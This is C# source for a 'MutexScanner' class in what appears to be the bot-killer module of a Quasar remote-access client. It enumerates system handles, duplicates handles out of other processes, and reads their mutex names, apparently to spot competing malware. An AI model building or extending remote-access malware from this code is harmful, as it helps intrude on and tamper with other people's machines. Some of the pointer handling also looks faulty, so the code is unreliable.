217 lines
8.2 KiB
C#
Executable File
217 lines
8.2 KiB
C#
Executable File
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
using System.Threading.Tasks;
|
|
|
|
namespace Quasar.Client.BotKiller
|
|
{
|
|
public class MutexScanner
|
|
{
|
|
private const int QUERY_TIMEOUT_MS = 100; // Timeout for each handle query
|
|
|
|
public static List<string> GetProcessMutexes(Process process)
|
|
{
|
|
List<string> mutexList = new List<string>();
|
|
int nHandleInfoSize = 0x10000;
|
|
IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize);
|
|
int nLength = 0;
|
|
|
|
try
|
|
{
|
|
while (Win32API.NtQuerySystemInformation(16, ipHandlePointer, nHandleInfoSize, ref nLength) == Win32API.STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
nHandleInfoSize = nLength;
|
|
Marshal.FreeHGlobal(ipHandlePointer);
|
|
ipHandlePointer = Marshal.AllocHGlobal(nLength);
|
|
}
|
|
|
|
long lHandleCount;
|
|
IntPtr ipHandle;
|
|
|
|
if (Is64Bits())
|
|
{
|
|
lHandleCount = Marshal.ReadInt64(ipHandlePointer);
|
|
ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8);
|
|
}
|
|
else
|
|
{
|
|
lHandleCount = Marshal.ReadInt32(ipHandlePointer);
|
|
ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4);
|
|
}
|
|
|
|
int processHandleCount = 0;
|
|
for (long i = 0; i < lHandleCount; i++)
|
|
{
|
|
try
|
|
{
|
|
Win32API.SYSTEM_HANDLE_INFORMATION shHandle = new Win32API.SYSTEM_HANDLE_INFORMATION();
|
|
|
|
if (Is64Bits())
|
|
{
|
|
shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION));
|
|
ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)) + 8);
|
|
}
|
|
else
|
|
{
|
|
ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)));
|
|
shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION));
|
|
}
|
|
|
|
if (shHandle.ProcessID != process.Id)
|
|
continue;
|
|
|
|
processHandleCount++;
|
|
|
|
// Limit handles per process to prevent hanging
|
|
if (processHandleCount > 500)
|
|
break;
|
|
|
|
string mutexName = GetMutexNameWithTimeout(shHandle, process);
|
|
if (!string.IsNullOrEmpty(mutexName))
|
|
{
|
|
// Filter out Windows system mutexes
|
|
if (mutexName.Contains("WilStaging_") || mutexName.Contains("WilError_"))
|
|
continue;
|
|
|
|
mutexList.Add(mutexName);
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
catch { }
|
|
finally
|
|
{
|
|
Marshal.FreeHGlobal(ipHandlePointer);
|
|
}
|
|
|
|
return mutexList;
|
|
}
|
|
|
|
private static string GetMutexNameWithTimeout(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process)
|
|
{
|
|
string result = null;
|
|
var task = Task.Run(() =>
|
|
{
|
|
try
|
|
{
|
|
result = GetMutexName(shHandle, process);
|
|
}
|
|
catch { }
|
|
});
|
|
|
|
if (!task.Wait(QUERY_TIMEOUT_MS))
|
|
{
|
|
// Timeout - skip this handle
|
|
return null;
|
|
}
|
|
|
|
return result;
|
|
}
|
|
|
|
private static string GetMutexName(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process)
|
|
{
|
|
IntPtr m_ipProcessHwnd = IntPtr.Zero;
|
|
IntPtr ipHandle = IntPtr.Zero;
|
|
IntPtr ipBasic = IntPtr.Zero;
|
|
IntPtr ipObjectName = IntPtr.Zero;
|
|
|
|
try
|
|
{
|
|
m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.DupHandle, false, process.Id);
|
|
if (m_ipProcessHwnd == IntPtr.Zero)
|
|
return null;
|
|
|
|
if (!Win32API.DuplicateHandle(m_ipProcessHwnd, shHandle.Handle, Win32API.GetCurrentProcess(), out ipHandle, 0, false, Win32API.DUPLICATE_SAME_ACCESS))
|
|
return null;
|
|
|
|
Win32API.OBJECT_BASIC_INFORMATION objBasic = new Win32API.OBJECT_BASIC_INFORMATION();
|
|
ipBasic = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)));
|
|
int nLength = 0;
|
|
|
|
int result = Win32API.NtQueryObject(ipHandle, 0, ipBasic, Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)), ref nLength);
|
|
if (result != 0)
|
|
{
|
|
Marshal.FreeHGlobal(ipBasic);
|
|
return null;
|
|
}
|
|
|
|
objBasic = (Win32API.OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(ipBasic, typeof(Win32API.OBJECT_BASIC_INFORMATION));
|
|
Marshal.FreeHGlobal(ipBasic);
|
|
ipBasic = IntPtr.Zero;
|
|
|
|
if (objBasic.NameInformationLength <= 0 || objBasic.NameInformationLength > 65536)
|
|
return null;
|
|
|
|
nLength = objBasic.NameInformationLength;
|
|
ipObjectName = Marshal.AllocHGlobal(nLength);
|
|
|
|
// Try to query object name with retry limit
|
|
int retries = 0;
|
|
while ((result = Win32API.NtQueryObject(ipHandle, 1, ipObjectName, nLength, ref nLength)) == -1073741820 && retries < 3)
|
|
{
|
|
Marshal.FreeHGlobal(ipObjectName);
|
|
if (nLength <= 0 || nLength > 65536)
|
|
return null;
|
|
ipObjectName = Marshal.AllocHGlobal(nLength);
|
|
retries++;
|
|
}
|
|
|
|
if (result != 0)
|
|
{
|
|
Marshal.FreeHGlobal(ipObjectName);
|
|
return null;
|
|
}
|
|
|
|
Win32API.OBJECT_NAME_INFORMATION objObjectName = (Win32API.OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ipObjectName, typeof(Win32API.OBJECT_NAME_INFORMATION));
|
|
|
|
IntPtr ipTemp;
|
|
if (Is64Bits())
|
|
ipTemp = new IntPtr(Convert.ToInt64(objObjectName.Name.Buffer.ToString(), 10) >> 32);
|
|
else
|
|
ipTemp = objObjectName.Name.Buffer;
|
|
|
|
if (ipTemp != IntPtr.Zero && objObjectName.Name.Length > 0)
|
|
{
|
|
string name = Marshal.PtrToStringUni(ipTemp, objObjectName.Name.Length / 2);
|
|
Marshal.FreeHGlobal(ipObjectName);
|
|
ipObjectName = IntPtr.Zero;
|
|
|
|
// Extract mutex name from full path
|
|
if (!string.IsNullOrEmpty(name) && name.Contains("\\"))
|
|
{
|
|
string[] parts = name.Split('\\');
|
|
if (parts.Length > 4)
|
|
return parts[4];
|
|
}
|
|
return name;
|
|
}
|
|
|
|
if (ipObjectName != IntPtr.Zero)
|
|
Marshal.FreeHGlobal(ipObjectName);
|
|
}
|
|
catch { }
|
|
finally
|
|
{
|
|
if (ipBasic != IntPtr.Zero)
|
|
Marshal.FreeHGlobal(ipBasic);
|
|
if (ipObjectName != IntPtr.Zero)
|
|
Marshal.FreeHGlobal(ipObjectName);
|
|
if (ipHandle != IntPtr.Zero)
|
|
Win32API.CloseHandle(ipHandle);
|
|
if (m_ipProcessHwnd != IntPtr.Zero)
|
|
Win32API.CloseHandle(m_ipProcessHwnd);
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private static bool Is64Bits()
|
|
{
|
|
return Marshal.SizeOf(typeof(IntPtr)) == 8;
|
|
}
|
|
}
|
|
}
|